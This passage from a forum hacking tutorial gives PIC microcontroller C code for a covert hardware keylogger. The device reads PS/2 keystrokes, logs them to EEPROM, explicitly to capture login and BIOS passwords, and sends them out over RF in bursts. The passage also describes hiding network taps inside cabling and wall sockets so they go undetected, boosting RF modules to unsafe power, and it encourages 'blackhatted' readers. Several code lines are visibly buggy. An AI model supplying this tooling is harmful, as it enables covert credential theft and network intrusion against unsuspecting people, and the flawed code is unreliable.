// Seed the databurst countdown to BURSTINTERVAL

burstcountdown = BURSTINTERVAL;

// Seed the databurst with a 'No databurst' sentinel value

burstaddress=0xFFFF;

// Seed the bitbuffer

/* bitbuffer = 0xFFFF; ignore this line for now, I will hit bitbuffering next section */

// Initialise EEPROM (Required before we can use the device)

init_ext_eprom();

// Retrieve next useable address

nextaddress = read_ext_eeprom(0xFFFE); // Read low byte

nextaddress |= read_ext_eeprom(0xFFFF)<<8; // Read high byte

// Place a marker in memory to indicate in the log that the computer was

// restarted at this point (Useful for locating login/BIOS passwords)

recordbytes(0xFF,0xFF);

/////////////////////////////

//// MAIN PROGRAM LOOP ////

/////////////////////////////

// Repeat forever...

while(1)

{

//// HANDLE ONE KEYBOARD EVENT ////

// If a key event is waiting to be processed...

if(bit_test(FLG, 128))

{

// Store it in memory

recordbytes(FLG, BYT);

}

//// HANDLE ONE BYTE OF A DATABURST ////

// If a databurst is in operation...

if(burstaddress>0)

{

// Transmit the next byte

doburst();

}

}

}

/*-- IO ROUTINES -----------------------------------------------------------------------*/

////////////////////////////////////////////////////////////////////////

//// OUR RECORDBYTES ROUTINE... RECORDS TWO BYTES (ONE KEY EVENT) ////

////////////////////////////////////////////////////////////////////////

void recordkey(INT8 value1, INT8 value1)

{

// Write the keyevent to next memory address

write_ext_eeprom(nextaddress++, value1);

write_ext_eeprom(nextaddress++, value2);

// Perform circular increment (loop back to start if we overflow)

if(nextaddress>0xFFFD) nextaddress = 0;

// Store next address in case we lose power

write_ext_eeprom(0xFFFF, (nextaddress && 0xFF00)>>8)

write_ext_eeprom(0xFFFE, nextaddress && 0xFF)

}

////////////////////////////////////////////////////////////////////////

//// OUR DATABURST ROUTINE... TRANSMITS TWO BYTES (ONE KEY EVENT) ////

////////////////////////////////////////////////////////////////////////

void doburst(void)

{

////////////////////////////////////////////////

//// Things to do at the start of a burst ////

////////////////////////////////////////////////

// If burstaddress equals burstbeginning then the databurst has

// only just begun, so lets transmit a 'start burst' sequence...

if(burstaddress == burstbeginning)

{

// Send '<<' to indicate the beginning of the burst

transmit('<');

transmit('<');

}

///////////////////////////////////////

//// Things to do WHILE bursting ////

///////////////////////////////////////

// Transmit the next memory address and increment

transmit(read_ext_eeprom(burstaddress++));

// If we've reached the end of the buffer, loop to the beginning. Remember

// to skip the last 2 bytes of memory as these are used to remember the value

// of 'nextaddress' across reboots

if(burstaddress>0x1FFD)

{

// Hit the end of useable memory, loop to the beginning

burstaddress=0;

}

//////////////////////////////////////////////

//// Things to do at the end of a burst ////

//////////////////////////////////////////////

// burstaddress has been incremented, therefore if burstaddress

// is equal to burstbeginning again then we must have arrived back

// at the point where the burst began... We can stop the burst.

if(burstaddress == burstbeginning)

{

// we may terminate the databurst

burstaddress=0xFFFF; // burstaddress of 0xFFFF means no burst

// And send '>>' to indicate the completion of the burst

transmit('>');

transmit('>');

}

}

TXer modification 2 - Synchronisation issues

Our original keyboard handling code was quite basic and it is possible that it could lose synchronisation and start reading garbage. We correct that in this section by adding a new method for reading the keyboard via a bitbuffer. Basically all the bits received are fed through a FIFO until a valid frame is recognised, If the expected frame is invalid we just keep feeding streamed bits into the FIFO until valid framing conditions are met.

Code:

unsigned INT16 BitBuffer; // Create a 16 bit fifo for bitstream

unsigned INT8 BYT; // We place the keyboard data bytes here

unsigned INT8 FLG; // We place the keyboard data flags here

LONG nextaddress; // The next writeable address in EEPROM

LONG burstaddress; // The next transmitted address in EEPROM

LONG burstbeginning; // The start/end address for the circular databurst

/* sample of keyboard handling for the keyboard ISR*/

///////////////////////////////////////////////////////////////

//// This is the keyboards ISR. It is called whenever the ////

//// keyboards clock line transitions to LOW, which saves ////

//// us from polling continuously. ////

//// ////

//// Bits are shifted in through a 16 bit buffer and frame ////

//// desynchronisation is detected/recovered automagicaly ////

//// ////

//// Resynchs are performed in the 16 bit FIFO bit buffer ////

//// by slipping bits until START/STOP/PARITY are correct ////

///////////////////////////////////////////////////////////////

{

// Read a bit from the DATA line and shift it into the FIFO

shift_right(&BitBuffer,2,input(PIN_A0));

// Bit5 (START) must be 0 (LOW) and BIT15 (STOP) must be 1 (HIGH) if the

// frame is valid. Lets check frame validity...

if(!bit_test(BitBuffer,5))

{

// Found expected start of frame, if we're wrong we've lost our

// synchronisation

if(bit_test(BitBuffer,15)

{

// Looks like a valid synchronised frame

unsigned INT8 ParityCount; // Used to count set bits for

// parity check

// Data byte is held in bits 13(MSB) to 6(LSB) inclusive.

// The parity bit is the at bit14. In order for the data to be

// considered valid there should be an ODD number of 1's in

// these locations. Lets check data validity...

// Loop through the 1 PARITY and 8 DATA bits...

for(t=6;t<15;t++)

{

// Count the number of set bits

Paritycount += bit_test(BitBuffer,t);

}

// If the ParityCount is ODD then we have valid data!

if(bit_test(ParityCount,0))

{

// We have a valid looking Data byte in bits 13(MSB) to

// 6(LSB) inclusive. To make use of it we have to shift

// it to the right (6 times) till it occupies the first

// 8 bits of our 16 bit buffer.

for(t=0;t<6;++t)

shift_right(&BitBuffer,2,0);

BitBuffer &= 0x00FF; // Mask off the upper byte

// Determine the type of byte

switch (BitBuffer)

{

case 0x00 :

FLG = 0; // We don't process nulls

break;

case 0xF0 :

FLG |= 1; // Set the RELEASED bit

break;

case 0xE0 :

FLG |= 2; // Set the EXTENDED bit

break;

default :

BYT = BitBuffer;// Remember the byte

FLG |= 128; // Set the COMPLETE bit

}

// Clear the bitBuffer to all ones - so we can detect

// the next start bit when it gets to BitBuffer bit 5

BitBuffer = 0xFFFF;

}

else

{

// We found a valid start and stop condition but the parity

// is indicating an error. Abandon any FLG data as invalid

// because it pertains to a corrupt keypress sequence -or-

// we have lost synchronisation.

FLG = 0;

}

}

else

{

// We found a start condition but the stop condition is invalid.

// It looks like we have lost frame synchronisation. Lets mark

// any FLG data as invalid as it may pertain to an incomplete

// keypress sequence.

FLG = 0;

}

}

}

The above routine will pick through the stream trying to synchronise. It will monitor each frame and extract only complete scancode sequences. We can retrieve these full sequences by examining two global variables from withing our main loop...

The variable FLG holds bitflags which indicate the status of this operation:

When FLGs 8th bit is set - a complete sequence is ready and BYT indicates the value of the key pressed. If bit 2 of FLG is set then this BYT value indicates an 'extended' key (ie, scancodes beginning with the value E0). If bit 1 of FLG is set then the scancode indicates that the key was released (The scancode contained an F0) as opposed to pressed. By using this mechanism each discrete scancode (which can be between one and three bytes) is expressed in a two byte fixed notation which makes storage easier.

If you don't want to use interrupts you can call the routine from within your main loop, however, the routine as it stands expects only to be called on the falling edge of the clock line. therefore we need to add a little to the start of the keyboard handling routine so that it doesn't assume that the clock has transitioned low every time it is called ...

Code:

void KeyboardHandler(void)

{

// Handler will check wether the clock has transitioned from HI to LO

// since it was last called (Because it is no longer an ISR being called

// explicitly when the transition occurs)

if(output_bit(PIN_A1,0) == oldstate) return; // If pin hasn't changed state, return.

oldstate = output_bit(PIN_A1,0); // Remember this new state for next time

if(oldstate == 1) return; // If the transition was LO->HI, return,

// If we are LO this time and were HI last time then we have a valid clock transition and should now

// retrieve and process one bit from the data line and check as before...

... The rest of this routine is the same as the ISR version...

}

Okay, thats much better. We've got a keyboard handler that can deal with desynchs, doesn't delay our code execution (unlike the old one in part 1 which spent its whole life waiting for clock changes) and can be used as either an interrupt service routine or just regularly polled from within the main program loop.

Dealing with long delays in our code.

The processor can only perform one job at a time, and so whilst we are busy writing to the serial memory we could potentially be missing vital keystroke data from the keyboard. Whats the solution ?

If we have a section of our code which may delay for longer than 1/2 a keyboard clock cycle we should wait till we receive a complete scancode sequence and then inhibit the keyboard from transmitting any further scancodes until we are ready to receive them. Keyboards have a 16 byte buffer.

This solution relies on the nature of the keyboard device. keypresses occur rather slowly, with long pauses between each keystroke. Regardless of how fast the typist is we will find that the processor can get a great deal of work done in the silence between each scancode. Another 'feature' of the keyboard device is that it is a 'bi-directional protocol' - that is, information can travel both ways on the two wire bus. Not only are scancodes sent from the keyboard to the host, but the host can send data to the keyboard too. In order for this to work the host needs to first inhibit the keyboard from sending scancodes and to do this it pulls the clock signal (generated by the keyboard) to 0v. When the keyboard detects that its clock line is being 'pulled low' it buffers any keystroke data until the clock line is released again. The keyboards controller has a 16 byte buffer which it uses for buffering further keystrokes. When the clock line is released It will re-transmit any partial scancode that was interrupted as well as any keypresses generated whilst inhibited.

So, we give the keyboard our fullest attention until a complete scancode has been received. Then, anticipating a long wait, we can go service other routines. If those routines are likely to take more than 1/4 of the keyboard clock cycle we should first pull the clock line LOW to ensure that no further scancodes are generated while we are away. Once we have finished servicing other routines (such as transmitting a byte of the databurst, or writing keystrokes to the serial EEPROM) we can release the clock line and deal with any new or buffered scancodes.

Heres a rough idea of how this approach works

Code:

LengthyRoutine();

{

// Inhibit the keyboard clock

ClockInhibit(TRUE);

// HUUUUGE delay - 500ms (1/2 second) ... during this time keystrokes will be

// buffered by the keyboard device. If we inhibit the clock during a scancode

// the entire scancode will be repeated when the clock returns

delay(500);

// Inhibit the keyboard clock

ClockInhibit(TRUE);

}

ClockInhibit(BOOL bInhibit)

{

if(bInhibit==TRUE)

{

// Inhibit keyboard clock line

output_bit(PIN_A1,0); // Connect pin to ground (pulls the clock line low)

}

else

{

// Release keyboard clock line

output_float(PIN_A1); // Allow the pin to float (Clock no longer held low)

// Reseed the bitbuffer as any incomplete data in there is about

// to be retransmitted anyway

bitbuffer = 0xFFFF;

}

}

Beyond keyboards...

Data bugging applies to everything from router consoles to ethernet cabling. Two way devices, utilising bi-directional modules or cheap stacked TX/RX units, can allow router consoles to be bugged and even operated/configured remotely. Not all bugs will transmit in RF either, Bugs in ethernet cabling can collect 'interesting' data and burst it back via internet-bound packets injected back onto the medium. Ethernet bugs may also operate as relays for their master offering a cheap 19kbps - 36kbps wireless connection to a target system (the 'radio tap'). Similarly, bugs in centrexes between offices and ISDN lines are similarly fair game.

I think one of the must useful variations is as a filtered radio tap on vertical or horizontal cabling. Essentially, one locates a suitable wire in the overhead... Gently cuts into the cable for about four inches... peels the cable open and splays out the pairs... and then punch them into IPC (Insulation Piercing Connectors) on the device itself. The whole operation takes very little time and offers the attacker a radio-node into the network. Wall mounted sockets with cables fed through the cavity offer an excellent location for such devices. The existing cable is detatched and transfered to IPC's on the device, then the device is fed back through the hole into the wall cavity... Finally, the devices trailing cable is punched down into the rear of the faceplate to complete an inline device which will, in all likelihood, never be located.

As chips with hardware network stacks become available these devices are getting smaller and more capable. Some units use .25w WAVECOM modules to provide high-speed data links at 2300 to 2700 MHz in the ISM band and are often tweaked to dangerous power output levels to increase the useable range. Known tweaks include :

Removing the 9db internal pad for a 800% power increase to 2.25mw and performing the 'MMIC Mod' to increase the output to 60mw. Also one can employ a DEMI RF Amp yielding around 2.5W for a 10mw input

Anyway, now that you've seen how easy it can be to slot together prebuilt modules to construct quite advanced equipment theres nothing holding you back. The blackhatted among you should take the time to explore these devices as you never know when the opportunity might present itself. Remember, hacking is all about innovation.

Further reading

PS2 mouse/keyboard protocol - Excellent reference

UMPS development environment - simulates circuits with PICs, LCDs, EEPROMS, Serial Ports and much more

The CCS Compiler, Excellent C compiler for PICs

MPLab 'Microchips own' development environment - C or ASM

PIC16F84A DatasheetPIC16F87x Datasheet

Microchips range of controllers

Radiometrix products (Contains Datasheets for RF Modules

Good site on interfacing to LCDs

Text LCD simulator - Practice before you build a handheld unit

GFX LCD simulator - For that 'special' interface

Elexols USB Modules

I do apologise for not getting around to all of the examples I wished to give in this section. Feel free to experiment with the many processors and RF modules at your disposal as I really have just covered the cheapest options and most common components here.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...